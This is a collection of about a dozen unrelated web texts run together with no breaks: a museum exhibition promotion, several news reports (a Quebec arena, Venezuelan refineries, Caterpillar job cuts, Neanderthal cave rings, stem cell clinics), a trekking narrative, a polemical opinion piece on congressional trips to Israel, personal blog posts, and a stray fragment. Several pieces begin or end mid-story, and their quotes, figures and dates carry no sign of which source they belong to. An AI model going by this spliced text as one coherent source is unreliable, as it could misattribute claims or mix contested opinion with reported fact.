The exhibition truly gives guests a broad portrait of what life was like more than 2500 years ago while also celebrating the Penn Museum’s excellent conservation efforts of some of the oldest items in the world. The exhibition is billed as one of the largest and most ancient collections of Turkish artifacts in the United States.
(Photo by M. Fischetti for Visit Philadelphia) More than 120 ancient artifacts make up the King Midas exhibition at the Penn Museum.
Opening Weekend Events
The Penn Museum celebrates the opening of The Golden Age of King Midas with a bevy of opening-day events that celebrate Phrygian culture on Saturday, February 13.
Throughout the day, the Penn Museum hosts a Phrygian fashion show featuring clothing from Turkey, live traditional Turkish music, lectures from the curators of King Midas, storytelling, a Golden Touch temporary tattoo station, a pebble mosaic craft and more.
During opening weekend and opening weekend only, the space that is known as Pebble Hall will be transformed into a Kervansaray-inspired oasis — a space that is complete with beautiful rugs and cozy seating that is inspired by a Turkish Kervansaray, which were covered roadside inns that offered guests refuge from their travels.
(Photo by M. Fischetti for Visit Philadelphia) a Phrygian fashion show
live traditional Turkish music
lectures
and more In celebration of opening weekend for the exhibition, the Penn Museum hosts…
The Exhibition
The highly visual and highly interactive exhibition brings visitors back in time to Turkey when King Midas ruled.
The artifacts — and the exhibition — centers around the excavation of Gordios’ tomb in 1957 — impressively, the tomb is the oldest standing wood building in the world.
More than 120 objects found within the final resting place of Gordios will be on display, gathered from four museums in Turkey. Many of the items on view are in the United States for the first time ever, which makes the exhibition one of the largest and most ancient collections of Turkish artifacts in the United States.
In addition to ancient artifacts, knowledge about Phrygian society is also brought light throughout the exhibition including a section about the food and drinks found in King Midas’ father’s tomb that was discovered due to residue found in bowls and cups. Remnants of honey and grapes were both found in the tomb.
The interactive elements of the exhibition include a digital look into Gordios’ tomb upon its discovery that guests can use a controller to explore and an interactive display of the citadel at Phrygia that teaches guests about the different areas of the living quarters including the throne rooms, where the elite were housed, areas for work and more.
Food and Drink Specials
In addition to the items on display in the gallery, the Penn Museum also honors the exhibition with a special Turkish-inspired menu in its Pepper Mill Cafe. The food specials will be available from Friday through Sunday and menu items include stuffed grape leaves, toasted pita, chickpea fritters, and lamb-stuffed eggplant. Also for sale is Dogfish Head’s Midas Touch beer, a drink that was developed to resemble residue of alcoholic beverages found in the tomb.
(Photo by M. Fischetti for Visit Philadelphia) The exhibition centers on the excavation of Gordios’ tomb, which is the oldest standing wood building in the world.
Tickets
Admission to The Golden Age of King Midas is an added $5 cost on top of general admission to the museum.
Tickets are $20 adults, $18 senior citizens, $15 for children and students, $5 for active military and free for members, PennCard holders and children under 5.
The Canadian Press
QUEBEC - It's official. Quebec City says it will begin construction on a new NHL-style arena this September.
Now all the city needs is a team to play in it.
Mayor Regis Labeaume announced Sunday the $400-million arena will hold about 18,000 people, saying it would be comparable to a facility built for the league's Pittsburgh Penguins a year ago.
"Today, the dream becomes a reality," he told reporters at a news conference.
Labeaume said the city can proceed with the project after finalizing an agreement with Quebecor on Friday, a week before a March 31 deadline.
The media empire landed the naming rights for the future arena and was granted exclusive rights to manage the facility.
If an NHL team is acquired, Quebecor would hand over $63.5 million for naming rights, plus $5 million in annual rent. Without one, the company would pay $33 million for the rights and an average of $3.15 million annually for rent.
"There are no more obstacles... no more uncertainty about the construction of the amphitheatre," said Quebecor CEO Pierre Karl Peladeau, who was also at the news conference.
In an effort to keep the project within budget, Labeaume said the building would be trimmed down from 70,000 square meters to 64,000, a savings of about $30 million. The number of underground parking spots will also be cut, yielding another $21 million in savings.
But the budgetary breakdown of the project remains unclear, only months before construction is set to begin.
Labeaume was stingy with the financial details on Sunday and wouldn't go into specifics about the total expenses required to get the facility built.
Two Quebec ministers, Michelle Courchesne and Sam Hamad, were also on hand for the announcement. The province and Quebec City have pledged to share the cost of the project, with taxpayer money.
Courchesne said the province would make sure project stays within the projected $400-million total.
The arena is expected to be complete by September 2015, although there's no guarantee the city will ever get a team back.
The city lost its NHL team when the Nordiques moved to Denver in 1995.
Labeaume refused to speculate on whether his city was in line for a team. On Sunday, he was quick to shut down a reporter's question on the subject, perhaps trying to take a cautious approach with the league.
Research in Motion's former co-CEO Jim Balsillie was aggressive in his effort to bring a team to Hamilton, and ultimately failed.
On June 20, 2010, Marquis’s 38th birthday, she set out to walk from Siberia through Asia and, once back in Australia, trek to her beloved tree. The video of Marquis walking away from her starting point in Irkutsk feels like the setup for a horror film. “Hello, O.K., so here we are,” she said just before turning away from the camera. “Time to go now!” On her back is a 75-pound pack, and trailing behind her, overflowing with gear secured by bungee cords, is a custom-made cart that looks like a cross between a wheelbarrow and a giant roller bag — her dry-land sled. After Australia, Marquis couldn’t handle slaughtering more animals; she says it felt “like killing a friend.” So she decided to carry rice and hard biscuits (the latter inedible without “a nice, hot cup of tea”), which meant she would need to pull a cart. It now weighed 120 pounds.
To prepare for the expedition, Marquis spent two years walking or snowshoeing 20 miles a day, wearing 75 pounds. On the trip itself, she carried, among other things, five pairs of underwear, a large pocketknife, wide-spectrum antibiotics, tea-tree oil for massaging her feet, a solar-powered charger, a beacon, a BlackBerry, a satellite phone, Crocs, a compass, a tiny emergency stash of amphetamines (“that’s the backup backup backup of the backup; in case you lose a foot and you need to get out and not feel a thing”) and pink merino-wool pajamas (“you put them on and you feel good, you feel gorgeous”).
The afternoon she departed from Irktusk, Marquis walked just a few miles and set down her load. “That first day I don’t even eat or do anything,” Marquis explains. “By that point, I’m so exhausted, it’s unbelievable.”
In truth, the first six months on Marquis’s trips are always harrowing. She describes it as “the washing machine”: endless agitation, physical pain, emotional pain, nonstop bargaining among opposing internal voices — the inner demons that whisper, Remember the delicious foam on the cafe latte? and the inner angels that reprimand, Coffee isn’t accessible now, so why talk about it? “You can’t move your hands, you can’t move your feet, you just want to die,” Marquis said. “You think about sleep all the time, because maybe sleep will set things straight.”
A few months into her journey, Marquis shot a video of herself in her sleeping bag. Like a hostage clutching a newspaper, she holds a thermometer that reads minus 20 Celsius. “I don’t sleep much these days. I do not know what time it is. Maybe midnight, or something like that?” In the next day’s video, she looks wrecked. The previous night a wind- and sandstorm ripped across the Mongolian plains. To keep the nylon of her tent from tearing, Marquis removed the metal poles holding it up. But she still feared the gales would blow away her gear, so she unzipped herself from her collapsed shelter and lay atop her pack, tent and cart.
58 members of Congress will be in Israel in the coming days on a tour sponsored by the America Israel Education Foundation, an arm of the pro-Israel lobbying organization, AIPAC. Though AIPAC claims the trip is an annual ritual with no connection to the increasingly rancorous debate over the Iran nuclear deal, the trip offers Israeli Prime Minister Benjamin Netanyahu a key opportunity for face-to-face fear mongering with some of the lawmakers who control the deal’s fate.
After the Republican delegation visits Israel, 22 Democrats — including several who represent key swing votes on the deal — will be shepherded through the AIPAC tour by House Minority Whip Steny Hoyer, an Israel lobby favorite. The freshmen legislators will visit all the requisite destinations, from the Yad Vashem Holocaust Memorial Museum, which has featured exhibits accusing Palestinians of a central role in the Jewish genocide in Europe, to the office of Prime Minister Benjamin Netanyahu, who likes to present influential visitors with a special ring he purchased in a local pawn shop that supposedly legitimizes Israeli control over Jerusalem.
As a journalist who has covered the crisis in the Holy Land for several years, I have composed a tour route that might allow congressional newcomers to the situation to expand their understanding of Israel beyond the strict limitations imposed by their AIPAC-endorsed guides. They should engage with the reality of Israel, not only within the illusory realm of “Israel proper,” but in the Jews-only settlements and Palestinian ghettoes that make up the Occupied Territories. And they should meet the people who elected Netanyahu and the most right-wing governing coalition in Israel’s history.
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So here is a list of a few places every member of Congress — and every American — should consider visiting on a trip to the Holy Land.
1. Dimona
Israel is the only country in the Middle East that possesses nuclear weapons. Yet according to its policy of nuclear ambiguity, which the US government has faithfully honored, the self-proclaimed Jewish state refuses to acknowledge its arsenal and will not allow International Atomic Energy Agency (IAEA) officials to inspect it. Unlike Iran, Israel has refused to sign the Nuclear Non-Profileration Agreement. Away from the scrutiny of international inspectors, Israel has produced scores of nuclear warheads along with a Jericho missile delivery system that puts much of Europe within striking range. According to journalist Seymour Hersh, Israel received an emergency package of military aid from the US during the 1973 war through “nuclear blackmail,” or threatening to blanket the Middle East in a hail of nuclear destruction if Washington failed to accede to its demands.
For those lawmakers who aren’t too hung over from the drunken skinny dipping outings that AIPAC has sponsored at the Sea of Galilee, a detour to Dimona is a must. In this economically depressed southern Israeli city, members of Congress will find the location of the nuclear weapons plant that the Israeli government officially refers to as a “textile factory.”
But a word of caution: When former Israeli member of Knesset Issam Makhoul publicly condemned his country’s nuclear program, he was targeted with a sophisticated car bomb. Mordechai Vanunu has not yet escaped the nightmare that began when he blew the whistle on Dimona. After being kidnapped by Mossad agents in the UK, Vanunu spent 12 years in tortuous solitary confinement in an Israeli prison. He is still prevented from traveling outside the country and barred from speaking to the press.
2. “The Arab room”
Members of Congress don’t have to travel far to see one of the first places many Americans are forced to visit as soon as they arrive to the Holy Land. It is the so-called “Arab room” inside Ben Gurion International Airport where Americans of Palestinian and Arab descent are interrogated and humiliated by Israel’s Shin Bet. The Arab American Anti-Discrimination Committee has said it registered around 100 complaints a year from Americans of Arab descent who said they had been denied entry by Israeli security services on the basis of their ethnicity. Before being deported, these unfortunate travelers were first flagged by racial profiling agents and sent to the “Arab room.”
Among the Americans most recently deported by Israel is Susan Abulhawa, the best-selling author of the critically acclaimed book, “Mornings in Jenin.” “This is our Israel. This is for Jews. No Palestinian should come to Israel,” an Israeli security officer said a few days later as he deported George Khoury, a Palestinian-American professor on his way to visit his birthplace in Jerusalem. Though Israel’s policy of denial focuses disproportionately on Arabs, American Jews like Julia Carmel Salazar have been deported as well on suspicion that they were on their way to meet Palestinians in the occupied West Bank and East Jerusalem.
A State Department webpage where Americans can report discrimination and denial of entry by Israel is currently out of service. “File not found” is all that appears when you click over to it.
3. Ofer Military Prison
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Just inside the occupied West Bank stands a gigantic military prison called Ofer. Inside are Palestinians who have been jailed for crimes against the occupation. Many are children who were arrested, often late at night, by Israeli soldiers and coerced into confessing to stone throwing. Others are leaders of unarmed protest movements like frequent Ofer resident Bassem Tamimi, who was named by Amnesty International as a prisoner of conscience. Prisoners like Tamimi are usually jailed without charges and wait months before being sentenced by a judge who works for the Israeli military. The conviction rate in Israel’s kangaroo courts is 99.74%.
While many diplomats from the EU have visited Ofer, to my knowledge, no sitting member of Congress has been inside its gates. The Real Israel tour would not be complete without a visit to Ofer’s children’s court, where defendants as young as 13 are brought in chains to testify before military judges and prosecutors.
4. Teddy Stadium
Members of Congress who want to see one of Israel’s best soccer teams in action should make their way down to Jerusalem’s Teddy Stadium for a Beitar Jerusalem match. There, they can witness Beitar’s “ultras” — its hardcore fan base — bellow out “Death to Arabs!” after goals while waving flags honoring the late terrorist gang leader Meir Kahane. Beitar ultras have also participated in lethal attacks on unarmed Palestinians around Jerusalem, rioted against Arabs in the local Malha Mall, and attacked leftists protesting last summer’s assault on Gaza. When Beitar captain Aviram Baruchyan mentioned that he wouldn’t mind playing on a team beside an Arab, he was immediately forced to apologize to outraged fans for the grave transgression.
5. Zion Square
Zion Square is the heart of central Jerusalem’s commercial district, a favorite haunt for international revelers, and the site of an increasing number of “Death to Arabs!” marches. After grabbing a cup of frozen yogurt, lawmakers should make their way over to the organizing table manned by Lehava, an organization dedicated to preventing romantic relationships between Jewish women and Arab men. For legislators representing districts located below the Mason-Dixon line, this stop on the Real Israel tour might offer a trip down memory lane.
Led by Benzi Gopstein, a disciple of the late terrorist leader Meir Kahane, Lehava supporters have been involved in an array of attacks on young Palestinian, menaced African asylum seekers, incited against homosexuals just hours before a stabbing spree at this year’s Jerusalem Pride Parade, and torched the only integrated Jewish-Arab elementary school in Jerusalem. Lehava leaders like Gopstein were invited to testify before the Knesset on the dangers of integration by Tzipi Hotovely, who currently serves as Israel’s acting Foreign Minister. Lehava’s sister organization, Hemla, which was also founded by disciples of Meir Kahane, has received hundreds of thousands in annual funding through the Israeli government’s Social Affairs Ministry.
Evangelical members of the Republican congressional delegation are encouraged to quiz Gopstein about his recent call for the mass burning of churches.
6. Kiryat Arba and Hebron
There are few sites in Israeli-controlled territory that contain as much recent historic significance of the memorial constructed in honor of Baruch Goldstein.
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A hero of hardcore settlers, he emigrated to Israel from his ancestral homeland of Brooklyn, NY before massacring 29 Palestinian worshippers in cold blood at the Ibrahimi Mosque in Hebron in 1994. The killings touched off a wave of retaliatory suicide bombings and sent the Holy Land spiraling into violence.
In a neatly tended park in the illegal Israeli settlement of Kiryat Arba, not far from the site of the massacre, stands a stone grave memorial honoring Goldstein and his legacy. Members of Congress will find little stones left on Goldstein’s grave by visitors expressing their mourning — and respect — for the terrorist. And they can read the inscription on his grave: “The revered Dr. Baruch Kapel Goldstein… Son of Israel. He gave his soul for the sake of the people of Israel, The Torah, and the Land. His hands are clean and his heart good… He was assassinated for the Sanctity of God.”
After visiting Goldstein’s shrine, lawmakers should take a stroll through the narrow lanes of Hebron’s Old City, which lies just a short way from Kiryat Arba. There, Palestinian shopkeepers rely on a steel net to protect themselves from the bricks and soiled diapers that settlers and their children dump on them each day. Beyond the market is Shuhada Street, a Jews-only road where hundreds of Palestinian shops have been closed by the Israeli military. Lawmakers from New York will immediately recognize the accents of the settlers parading down the eerily empty street, while those from open carry states like Arizona might appreciate the sight of the machine guns slung over these patriotic rebels’ shoulders. The settlers have also put their artistic talent on display with graffiti on Palestinian homes that reads, “Gas the Arabs.”
7. Al Araqib
Lawmakers seeking a first-hand look at how Israel makes the desert bloom might consider a trip to the little Bedouin village of Al Araqib. Nestled comfortably inside the territory that Peter Beinart refers to as “democratic Israel,” Al Araqib is among the scores of unrecognized villages dotting the Negev Desert whose residents are unable to receive public services because they are not Jews. In order to make way for a forest planted by the Jewish National Fund (JNF), a tax exempt US-based non-profit, Israeli bulldozers and riot police have destroyed Al Araqib over 80 times, forcing its homeless residents to live in the village cemetery while billing them $500,000 for the demolitions. The JNF’s planned forest has received handsome financial support from British End Timers Rory and Wendy Alec, who have urged their followers to help them “beautify the land of Israel for the return of the Messiah.” The project shows how Israel creates interfaith opportunities in the unlikeliest of places — even on the ruins of a demolished Bedouin town.
8. Holot
“This country belongs to us, the white man.” Those were the words of former Israeli Interior Minister Eli Yishai, who promised non-Jewish African migrants that he would “make their lives miserable.” In keeping with Yishai’s vow, the Israeli government has constructed Holot, an internment camp in the Negev Desert for African asylum seekers who committed the crime of attempting to live in Israel while non-Jewish, and whose lack of J-Positive blood prevents them from a path to citizenship or even asylum. (All Jews can receive immediate Israeli citizenship according to the country’s “Law of Return”). For the thousands of African residents of Holot, Israel is a giant Sundown Town that forbids them from staying outside the camp’s gates past 10 PM.
Rep. Mark Takai is one of the House members joining Hoyer on the Democratic AIPAC tour. Takai has taken a special interest in commemorating the internment of his fellow Japanese Americans during World War Two. For him, Holot offers the chance to visit one an active internment center for ethnic outcasts, complete with barbed wire and special ID numbers. Israeli President Reuven Rivlin has called Holot a “concentration camp,” but the Israeli government prefers to call it an “accommodation center.” African-American members of the Democratic delegation should beware: Unless they find Holot’s notoriously threadbare accommodations attractive, they had better not overstay their visas.
9. Deir Yassin
When members of Congress visit the Yad Vashem Holocaust Memorial Museum in Jerusalem, they will emerge from a heart-rending exhibition documenting Jewish genocide in Europe and find themselves on a veranda that offers a sweeping view of Israeli-controlled Jerusalem — the supposed answer to thousands of years of Jewish suffering. In the valley below, they might see the ruins of a village called Deir Yassin. On April 9, 1948 the Zionist militia known as the Irgun massacred over 200 of Deir Yassin’s residents, triggering a wave of terror throughout Palestine and accelerating the forced expulsion of 750,000 indigenous Palestinians. In order to preserve Israel as an ethnically pure Jewish state, those refugees have not been allowed to return. And while over 400 Palestinian villages were destroyed, Deir Yassin’s homes were converted into wings of a mental hospital for patients suffering from Jerusalem Syndrome. Legislators should not expect to learn about this critical piece of Israeli history from a Yad Vashem staffer. Indeed, when a Yad Vashem guide named Itamar Shapira informed a tour group about the massacre in Deir Yassin, he was quickly fired.
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* Due to the US-backed Israeli-Egyptian siege of Gaza, members of Congress will not be able to meet any of the 1.8 million people living in the ruins of this stateless coastal enclave, where Israel killed over 2200 people in 51 days last year, including 550 children. For a look at some of the 18,000 homes destroyed during the Israeli army’s rampage, this video will have to suffice.
May 25, 2016, 9:31 PM GMT / Updated May 25, 2016, 9:31 PM GMT / Source: Associated Press
Two mysterious stone rings found deep inside a French cave were probably built by Neanderthals about 176,500 years ago, proving that the ancient cousins of modern humans were capable of more complex behavior than previously thought, scientists say.
The structures were made from hundreds of pillar-shaped mineral deposits, called stalagmites, which were chopped to a similar length and laid out in two oval patterns up to 40 centimeters (16 inches) inches high. They were discovered by chance in 1990, after remaining untouched for tens of thousands of years because a rockslide had closed the mouth of the cave at Bruniquel in southwest France.
A scientist takes measurements for the archaeo-magnetic survey in the Bruniquel Cave in southwestern France. Etienne Fabre / SSAC via Reuters
While previous research had suggested the structures pre-dated the arrival of modern humans in Europe around 45,000 years ago, the notion that Neanderthals could have made them didn't fit long-held assumptions that these early humans were incapable of the kind of complex behavior necessary to work underground.
Using sophisticated dating techniques, a team led by archaeologist Jacques Jaubert of the University of Bordeaux, France, found that the stalagmites must have been broken off the ground around 176,500 years ago "making these edifices among the oldest known well-dated constructions made by humans."
Related: DNA Study Points to Prehistoric Hanky-Panky
"Their presence at 336 meters (368 yards) from the entrance of the cave indicates that humans from this period had already mastered the underground environment, which can be considered a major step in human modernity," the researchers concluded in a study published online Wednesday by the journal Nature.
Jaubert ruled out that the carefully constructed rings, which show traces of fire, could have come about by chance or been assembled by animals such as the bears and wolves whose bones were found near the entrance of the cave.
"The origin of the structures is undeniably human. It really cannot be otherwise," he told The Associated Press.
The Neanderthals who built them must have had a "project" to go so deep into a cave where there was no natural light, said Jaubert. They probably explored underground as a group and cooperated to build the rings, using fire to illuminate the cave, he said. "These are exceptional tours, certainly for extraordinary reasons we do not yet know."
Related: Did Our Ancestors Kill the Neanderthals?
Paola Villa, an archaeologist at the University of Colorado at Boulder who wasn't involved in the study, said the site "provides strong evidence of the great antiquity of those elaborate structures and is an important contribution to a new understanding of the greater level of social complexities of Neanderthal societies."
The authors said the purpose of the oval structures — measuring 16 square meters (172 sq. feet) and 2.3 square meters (25 sq. feet) — is still a matter of speculation, though they may have served some symbolic or ritual purpose.
Related: Scientists Get DNA Out of Old Skeleton
"A plausible explanation is that this was a common meeting place for some type of ritual social behavior," Villa suggested.
Wil Roebroeks, a Neanderthal expert at the University of Leiden, Netherlands, noted that the structures in Bruniquel may represent only the tip of the iceberg of Neanderthal culture, but most relics would have been made of organic material and decayed long ago.
"Bruniquel cave (shows) that circular structures were a part of Neanderthals' material culture," said Roebroeks, who called the rings "an intriguing find, which underlines that a lot of Neanderthal material culture, including their 'architecture,' simply did not survive in the open."
Roebroeks, who also wasn't involved in the study, said the fact that similar rings haven't been found anywhere else makes it hard to test any theory about how they came to be.
Mr Smaggle – ‘Hi! Can you show me where the Plasti-Dip is?‘
Sales Assitant – ‘Never heard of it.‘
Mr Smaggle – ‘Oh well it says on your website that you have it in stock?‘
Sales Assistant – ‘Nup. Never heard of it.‘
Mr Smaggle – ‘Oh… well why is it on your website?‘
Sales Assistant – ‘Couldn’t tell you. I’ve never seen it on the shelf.‘
Mr Smaggle – ‘Okay… thanks…‘
We shook our heads and went off down the aisles in search of an alternative. About ten minutes later the sales assistant came up and said that he’d decided to check for Plasti-Dip in the computer. It turns out that most of their stores stock it but their store has to order it in. We thanked him, placed an order and we were all smiling by the time we left. I detest bad service. I really do, however I also know that not many people want to spend their Saturday stuck inside an auto store selling spray paint and car parts. It was obvious from the moment we walked in that there were a thousand other things that guy wanted to be doing and he wanted us to know that. After he removed his head from his own arse and started doing his job, he stood a little straighter, his face relaxed and I could literally see him hating life less.
I’ve done my time working weekends. Every Saturday and Sunday from the ages of 14 to… well now. I’ve always worked weekends. Up until about two years ago I was doing casual home respite work in between writing gigs. I’d spend my Sundays assisting complete strangers in the shower. I’ve taught kids gym lessons on Saturday mornings. I’ve been a weekend test supervisor that required 12 hour days on a Saturday.
Did I enjoy my 6am starts on Sundays at the newsagent? Spending the better half of my Friday afternoon changing nappies on adults? Doing absolutely nothing but silently watch as 150 people complete a four hour exam? No. I didn’t enjoy any of those things but I’m bloody glad I did them because a) they kept a roof over my head and b) they all taught me lessons that make me rock at the several awesome jobs that I have now.
5 years of selling (and reading) magazines in a newsagent as a teenager inspired me to start this blog. My years of teaching have made me a pretty top notch public speaker. Hours spent fixing watches, working in jewellery boutiques and studying silver-smithing has armed me with an incredibly niche and valuable vocabulary that’s led to an ongoing accessories writing gig.
Take Mr Smaggle. When we met ten years ago, he was working at David Jones in the small appliances section. When it was quiet, he would read all the product manuals and guides so he knew exactly how they worked and which products to recommend to the customers. He has extraordinary brand and product knowledge from his years of research. He always wanted to make things or more specifically be an industrial designer. One of the things he is now working on is literally reinventing the light bulb. There’s no way he’d be rocking it anywhere near as hard if it weren’t for all those years reading product manuals in David Jones.
So the next time you’re feeling down about your job or feeling like you are wasting your time just stop and breathe for a moment. You are there for a reason. Don’t waste your time hating your job and doing it badly. Dominate it, learn from it, be the best at it. You never know what you might learn, where it will lead or who you might meet.
At the very least you’ll make your days more pleasant with a positive attitude. The successful completion of a task can provide an enormous amount of satisfaction. Car shop sales assistant couldn’t give a rats about Plasti-Dip, but spending that few minutes looking it up and solving a problem improved his day immensely.
See every day as an opportunity to learn something that you didn’t know yesterday. Even if you hate your job and you dream of something better. Roses literally grow in shit… but only if they eat it. Just remember that.
Venezuela’s biggest refinery, 645,000-barrel-per-day Amuay refinery, was operating at only 260,000 bpd with two of its five crude distillation units out of service, union leader Ivan Freites told Reuters, citing an internal report.
Its flexicoker remains down, Freites added.
A worker, who asked to remain anonymous because he is not authorized to speak to media, confirmed the situation.
Adjacent Cardon, with capacity of 310,000 bpd, was at 120,000 bpd, added Freites, a fierce critic of PDVSA and the government of socialist President Nicolas Maduro.
Meanwhile, the smaller refineries of El Palito and Puerto La Cruz, with capacities of 146,000 barrels per day and 187,000 bpd respectively, were barely refining any crude, according to a separate union leader and a worker.
The El Palito refinery was halted in October for scheduled maintenance, according to PDVSA. Union leader Freddy Alvarado said on Wednesday that the complex remained shut.
The catalytic cracking and alkylation units at Puerto la Cruz have been inoperative since the start of November, union leader Jose Bodas said earlier this month.
Over the weekend, the refinery’s reformer unit for octane 95 gasoline stopped operating, Bodas added on Wednesday. A worker at the refinery confirmed the issues.
PDVSA did not immediately respond to a request for information.
Venezuela’s refineries have been plagued with blackouts, equipment issues and stoppages for years.
PDVSA often blames problems on “saboteurs” intent on bringing down socialist rule in Venezuela, and says its foes and hostile media try to exaggerate refinery issues. Critics say years of underinvestment and poor maintenance are the cause.
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MUSIC :: “Don’t Owe You a Thang” by Gary Clark Jr. :: Buy it on iTunes
Maya Drozdz and Michael Stout, the owners of VisuaLingual, don’t mind getting their hands dirty in order to succeed. The Cincinnati-duo have been using “Seed Bombs” to spread natural splendor in any setting.
Seed bombs have gained a lot of popularity and what’s not to love? Don’t like how a patch of earth looks? Chuck a seed bomb at the area and, eventually, a bunch of flowers will grow. Maya and Michael have been very successful with their line, distributing to national retailers like Anthropologie and Williams-Sonoma and have grown their distributorship into 24 states.
We absolutely loved the opportunity for this behind-the-scenes look at a venture that started with an idea and blossomed into a national trend. Congratulations, neighbors!
Some of the best conversations take place between 7:30 am and 7:50 am every morning. EJ uses our car ride to school to voice opinions, ask questions, and tell me stories. I learn a lot in twenty minutes.
But this morning’s conversation was something I wasn’t expecting to happen so soon. It threw me off, made me sad, and brought me back to reality.
I had taken EJ to the dermatologist the day before. He goes every year to have his eczema checked out and check some of the pigmentation marks he has. It is routine and takes only minutes. I told him that his skin gets a little rash sometimes when it is dry, just like Mommy gets, and we just need the doctor to check it. She told him he looked great!
So this morning I was surprised when I heard from the backseat:
“Mommy, why did I go to the dermatologist yesterday?”
“Just to check your eczema. Lots of people get that. But you looked great. We just need to keep up with your cream!”
“I don’t like my skin.”
“What?”
“It’s too dark.”
My heart literally sank. I wanted to pull over. These are words that I dreaded hearing but knew that might possibly come at some point. I didn’t think he would be just shy of four.
“EJ, I love your skin. You have beautiful brown skin.”
“Well I don’t like brown skin. I don’t want it.”
“Lots of your friends have brown skin.” (I then listed them in a panic)
“Yeah they do.”
More than 200 jobs are to be cut by US firm Caterpillar in Northern Ireland.
The move will lead to the closure of its Monkstown plant in Newtownabbey.
The world's largest manufacturer of heavy construction equipment, Caterpillar employs 1,800 people in Northern Ireland with factories in Larne, Newtownabbey and west Belfast.
The firm has been hit by a global downturn in mining and oil exploration which has reduced demand for its products.
In Northern Ireland, much of its work involves the manufacture of diesel generators.
'Absolutely devastated'
Caterpillar workers have expressed their shock at the announcement.
"I have been there nearly 20 years, now there is no guarantee whether we are going to have a job or not," one worker told the BBC.
"They are saying there is redeployment, but I don't know, I'm absolutely devastated.
"People have families and they don't know if they are going to have a job or not."
John Campbell, BBC News NI Economics and Business Editor
Caterpillar counts the mining and oil industries among its main customers.
When commodity prices were booming these industries couldn't get enough of Caterpillar's products.
But the global fall in commodity prices mean they are spending much less and so Caterpillar has faced quarter after quarter of declining sales.
Last month, the firm said it expected no significant growth in demand for its energy and transportation products for the rest of 2016.
It has responded by cutting costs - almost 14,000 jobs have been axed across its global business since mid-2015.
The workforce will be hoping this latest round of cuts is the last.
'Committed to Northern Ireland'
Between 200-250 jobs will be cut over the next two years, Caterpillar said in a statement, although the firm emphasised it remained "committed to Northern Ireland".
The firm is restructuring its operations in Northern Ireland, including the closure of the Monkstown facility in Newtownabbey and "consolidation of logistics" at its sites in Larne, County Antrim and Springvale in west Belfast.
It was also end the production of 25-tonne and larger material handlers in Northern Ireland, including the planned launch of large material handler models for Europe.
"This restructuring is part of the company's ongoing plans to reduce cost in response to current economic and business conditions," said the statement.
"Despite these contemplated actions, we remain committed to Northern Ireland.
Image caption The closure of its Monkstown plant may also impact Caterpillar's sites at Larne and west Belfast
"In fact, these potential changes would make us more efficient and competitive over the longer term."
Northern Ireland Secretary of State James Brokenshire said the government wanted to help those who had lost their jobs.
A UK government spokesperson said that Mr Brokenshire had "discussions with the executive on how we can work together to help prevent future losses and bring new employment opportunities".
The trade union, Unite, said the announcement should be a turning point for the Northern Ireland Executive's industrial policy and said "real action" was required to help a "beleaguered sector".
"Thousands of experienced, highly-skilled - and now redundant - manufacturing workers need appropriate employment opportunities," said Unite's Davy Thompson.
"Giving up on manufacturing is not an option for these workers or the communities which face post-industrial futures."
Image copyright Press Eye Image caption Caterpillar is the world's largest manufacturer of heavy equipment
The closure in Monkstown may also impact on its factories in Larne and Springvale, said Caterpillar.
"If finalised, production for electric power generator sets in Monkstown would be consolidated into Larne and production of truck axles will move into Springvale," said the statement.
It added that "the transition is expected to begin this year and be completed in the next 12 to 24 months".
'Minimise the impact'
Economy Minister Simon Hamilton said the announced redundancies were "deeply disappointing".
Mr Hamilton said his department and Invest Northern Ireland "will continue to work to minimise the impact on all those affected".
It was a "devastating blow for the local area", said Sinn Féin assembly member Oliver McMullan, while Democratic Unionist Party MP for East Antrim Sammy Wilson also expressed disappointment.
Alliance Party Economy spokesman Stephen Farry said there needed to be a "clear vision" from the Northern Ireland Executive, "not only for fully supporting the workers, but also what will be done to prevent further similar losses down the line".
Image caption Economy Minister Simon Hamilton said he recognised the families of those workers affected were facing an 'uncertain future'
In September 2015, Caterpillar said it could cut its workforce by more than 10,000 by 2018 and that it would axe up to 5,000 jobs by the end of 2016.
It said it was looking to reduce annual costs by $1.5bn by the end of 2016.
This followed a collapse of commodity prices which affected its key customers in the mining and energy sectors and a reduction in sales revenues.
We tend to think this kind of quackery only thrives in countries with lax regulations like China, India, or Mexico. The phrase “stem cell tourism” usually evokes a plane trip. But stem cell therapies are unexpectedly flourishing in the US and may only require a short car trip.
In an analysis published this week in Cell Stem Cell, researchers identified a startling 351 businesses, encompassing 570 clinics across the US, that offer stem cell therapies largely unproven and unapproved by the Food and Drug Administration. Without peer-reviewed evidence, these businesses and clinics claim their therapies can treat dozens of diseases, injuries, and cosmetic indications, including joint pain, autism, spinal cord injuries, muscular dystrophy, and breast augmentation. Costs can reach into tens if not hundreds of thousands of dollars for treatments.
“Our analysis should serve as a valuable resource for contemporary debate concerning whether the US marketplace for stem cell interventions is adequately monitored and regulated by the FDA, the Federal Trade Commission, state medical boards, and other agencies tasked with promoting patient safety and accurate advertising,” the authors conclude.
Stem cells, some of which can differentiate into nearly any type of cell in the body, do hold enormous promise for many types of treatments. But so far, the only type of stem cell treatment that has been scientifically verified and approved by the FDA involves stem cells from bone marrow or blood that are used in transplants to treat cancers or other disorders that affect the immune system and blood. Clinics using these approved treatments may be safe and fall in line with FDA rules.
However, many clinics are likely not in that category. Seizing the scientific excitement, these clinics have made overblown or bogus claims that stem cells can treat or cure a wide variety of other ailments. And they have strayed into using several cell types. In their analysis, Leigh Turner, a bioethicist at the University of Minnesota, and Paul Knoepfler, a stem cell researcher at University of California, Davis, found clinics advertising stem cells made from patients’ fat, “placental” stem cells (of origins unknown), and cells that are likely not stem cells of any kind, as well as “bovine amniotic cells.”
So far, many of these clinics have largely escaped regulatory wrath, perhaps because in the past they mostly extracted patient cells, did some insignificant manipulation to them, and then returned them to the same patient. Procedures like these may have relatively few hazards. However, with the apparent boom of the stem cell industry, the FDA is now moving forward with a draft guidance that would classify most stem cells used in clinics as drugs, which require a tough approval process.
By spotlighting the breadth of the stem cell industry currently in the US, Turner and Knoepfler hope to help the FDA and other regulatory agencies curb the dangerous effects of unproven treatments. For instance, just last week The New York Times wrote about the case of Jim Gass, who spent hundreds of thousands of dollars to get stem cell treatments from Mexico, China, and Argentina that were said to help him recover from a stroke. When he returned to the US, surgeons found a large bloody mass of primitive cells aggressively taking over his lower spinal column. The cells did not belong to Gass. And in another case several years ago, a woman who received a stem cell-based facelift treatment from a clinic in California had to have bone fragments surgically removed from her eyelid months later.
Editor's Note: This story has been updated to clarify that not all stem cells can differentiate into nearly every type of cell in the body.
8:29 AM Will Sterling 5 Comments
Bow of Poison
